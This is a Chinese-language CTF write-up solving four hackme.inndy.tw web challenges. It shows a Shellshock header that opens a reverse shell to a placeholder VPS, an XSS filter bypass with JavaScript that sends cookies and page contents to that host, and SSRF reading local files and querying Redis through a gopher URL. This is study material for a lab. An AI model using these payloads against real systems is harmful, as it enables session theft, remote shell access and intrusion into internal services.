这几天刷了一下 https://hackme.inndy.tw/ 的Web,后面的题都很有意思,边做边把题解做出来。

Command-executor

题目连接:https://command-executor.hackme.inndy.tw/

题目描述:Here's my useless developer assistant website, try to execute your own command!

文件包含php://filter读出源码

命令注入,打开网站有四个页面选项

Man 里面限定了只有四个指令,Tar试了一下可以解析出tar压缩包内容,Cmd限定了ls和env两个指令,最后在List发现可以修改file参数遍历目录。

这时可以发现一个细节,就是读出本目录有ls.php、cmd.php、man.php、untar.php等文件,我们知道它转换这四个页面是通过func=untar等模式的。很明显可能存在文件包含漏洞。用php://filter读出源码

代码审计

拿到源码开始代码审计,寻找哪一个页面执行系统命令时有漏洞。在index.php中我们发现putenv函数很可疑,是将$_SERVER中内容写入环境变量

//index.php
foreach($_SERVER as $key => $val) {
    if(substr($key, 0, 5) === 'HTTP_') {
        putenv("$key=$val");
    }
}

再发现index中有一个对所有参数都过滤的WAF,明确禁止了类似() { :; } 类似语句

//index.php
black_list = [
    '\/flag', '\(\)\s*\{\s*:;\s*\};'
];
function waf($a) {
    global $black_list;
    if(is_array($a)) {
        foreach($a as $key => $val) {
            waf($key);
            waf($val);
        }
    } else {
        foreach($black_list as $b) {
            if(preg_match("/$b/", $a) === 1) {
                fuck("$b detected! exit now.");
            }
        }
    }
}
waf($_SERVER);
waf($_GET);
waf($_POST);

CVE 2014-6271

看到这我们就可以将这些联想到CVE 2014-6271破壳漏洞(详细见http://www.freebuf.com/articles/system/45390.html)

按照破壳漏洞的解法,我们应该在请求头中随便写一个参数然后值为() { :; }xxxx ,后面的xxxx就能运行了。 虽然有上面提到的WAF,只要将写成() { : ; } 就能绕过了。

试着反弹shell,在请求头添加HAHA: () { : ; };/bin/bash -i >& /dev/tcp/vpsip/port 0>&1 发送请求就能发现接受到shell了。拿到shell在根目录发现flag,只有root用户能读

根目录还有flag-reader文件,读C文件,找一个可写目录/var/tmp 通过flag-reader把flag写到另一个文件中

//运行flag-reader,将flag写到/var/tmp中一个自建的文件中
./flag-reader > /var/tmp/szf < /var/tmp/szf /flag    

这样就可以拿到flag了

xssme

题目描述:XSS admin to steal flag

题目链接:https://xssrf.hackme.inndy.tw/

寻找xss点

先注册一个号,登录浏览一下网站发现可以发送邮件、查看邮箱和查看已发送的邮件。既然题目明示了是XSS那就到处找输入处,模拟给自己发送一封邮件,

发现邮件content直接打印在收信界面,意味着如果没有对content输入做限制或转义我们可以直接在content中写js脚本。

尝试发送带js脚本的内容给自己:

发现不允许发送,正好验证了content里存在xss,现在我们想的应该是绕过过滤,然后向admin用户发送xss邮件窃取admin的cookie。

绕过过滤

多次尝试,我发现不允许输入&lt;script()onXXXX(指的是事件触发函数如onload,onerror之类)。可以利用如下类似语句绕过

&lt;img src=""onerror="&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;"&gt;

我们可以看到,虽然onerror已经被过滤了,但是我们只要不用前面的空格就可以了。再将其中的js语句经过html编码就可以绕过括号的过滤(上面就是alert(1)的html编码)。

前面已经绕过了过滤,现在只要将alert(1)换成以下代码就行

var img = document.createElement("img");
img.src = "http://vpsip:port/cookie/"+escape(document.cookie);
document.body.appendChild(img);

填上自己的vps外网ip和端口,并且在vps上监听该端口。发送邮件给admin

发现成功获取,并且在cookie里看到了flag

Xssrf leak

题目描述:Steal flag from source code file

思考方法

还是同样的链接,通过题目名称和描述可以看出是读源码找出flag。

首先我用dirsearch扫了一遍web目录。

.git 里没有有用的内容,backup.zip下下来有密码破解没有成功,config.php看不到内容,robots.txt里也没啥。其他文件更没有啥用。总而言之这扫出来的并没有什么用处。T^T

思考一下题目名字,Xss后再SSRF!Xss然后伪造admin用户发送请求再SSRF。

伪造admin请求

我们按照上面那题的方式获取到admin的页面,看看admin有哪些不一样的功能。

var img = document.createElement("img");
img.src = "http://vpsip:port/"+escape(document.body.innerHTML);
document.body.appendChild(img);

按照以上的方式,我们给返回的admin用户界面base64加密了,得到并解密发现有页面中有request.php。尝试用前面获得的cookie去访问request.php发现限定了ip为127.0.0.1,说明我们的方向是正确的。

接下来,通过js原生ajax的方式,访问request.php并按原来的方式返回给我们。

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        hh = xmlhttp.responseText;
        var img = new Image();
        img.src = 'http://vpsip:port/' + btoa(hh);
        document.body.appendChild(img);
    }
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();

看到返回代码可以发现,request.php中有一个表单,可以向本页面发送POST请求,有一个参数为url,我们尝试输入http://127.0.0.1/index.php,发现可以获取到内容!

xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
    if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
        hh = xmlhttp.responseText;
        var img = new Image();
        img.src = 'http://vpsip:port/' + btoa(hh);
        document.body.appendChild(img);
    }
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlhttp.send("url=http://127.0.0.1/config.php");

SSRF

做到这思路就清楚了,request.php应该就是用curl来读内容,这么说它支持file://等协议。现在读取文件就行了,前面说到的扫出来的backup.zip中只有一个config.php那我们就直接读config.php,按照上面的方法,将url改为file:///var/www/html/config.php 成功读出flag。

Xssrf redis

题目描述:Steal flag from redis

题目思路

从题目描述和上面一题的flag(说明了flag在redis中)可以看出,这道题就是由于redis未授权访问(不了解的可以看看我的另一篇博客,详细讲解了redis未授权访问getshell的方式 Redis Getshell 总结 ),通过伪造服务器请求读取到redis里的内容。

通过上面两题的思路,我们已经很容易的可以利用本网站SSRF漏洞,在我的另一篇文章中也详细的讲解了通过gopher协议访问redis。上一题我们也说清楚了,request.php是通过curl来访问的,它支持dict://file://gopher://等协议。所以我们就可以通过request.php文件发送gopher协议请求,读取redis里的内容。

SSRF

和上一题发送的请求类似,我们只要将url改成gopher协议形式。比如我们要获取redis里所有的键值,一般我们会在redis-cli中输入命令keys * ,通过我一篇博客的方法将它转换成gopher协议内容:

gopher://127.0.0.1:25566/_%252a%2532%250d%250a%2524%2534%250d%250a%256b%2565%2579%2573%250d%250a%2524%2531%250d%250a%252a%250d%250a

注意这里需要urlencode两遍,因为我们发送至request.php时已经被urldecode一遍了。

这时我们就能从返回信息中得到key值中有一个flag。后面的内容就是读取了,比较程序化的内容。值得一提的是,这个flag是一个列表,需要通过lrange flag 0 80命令读取。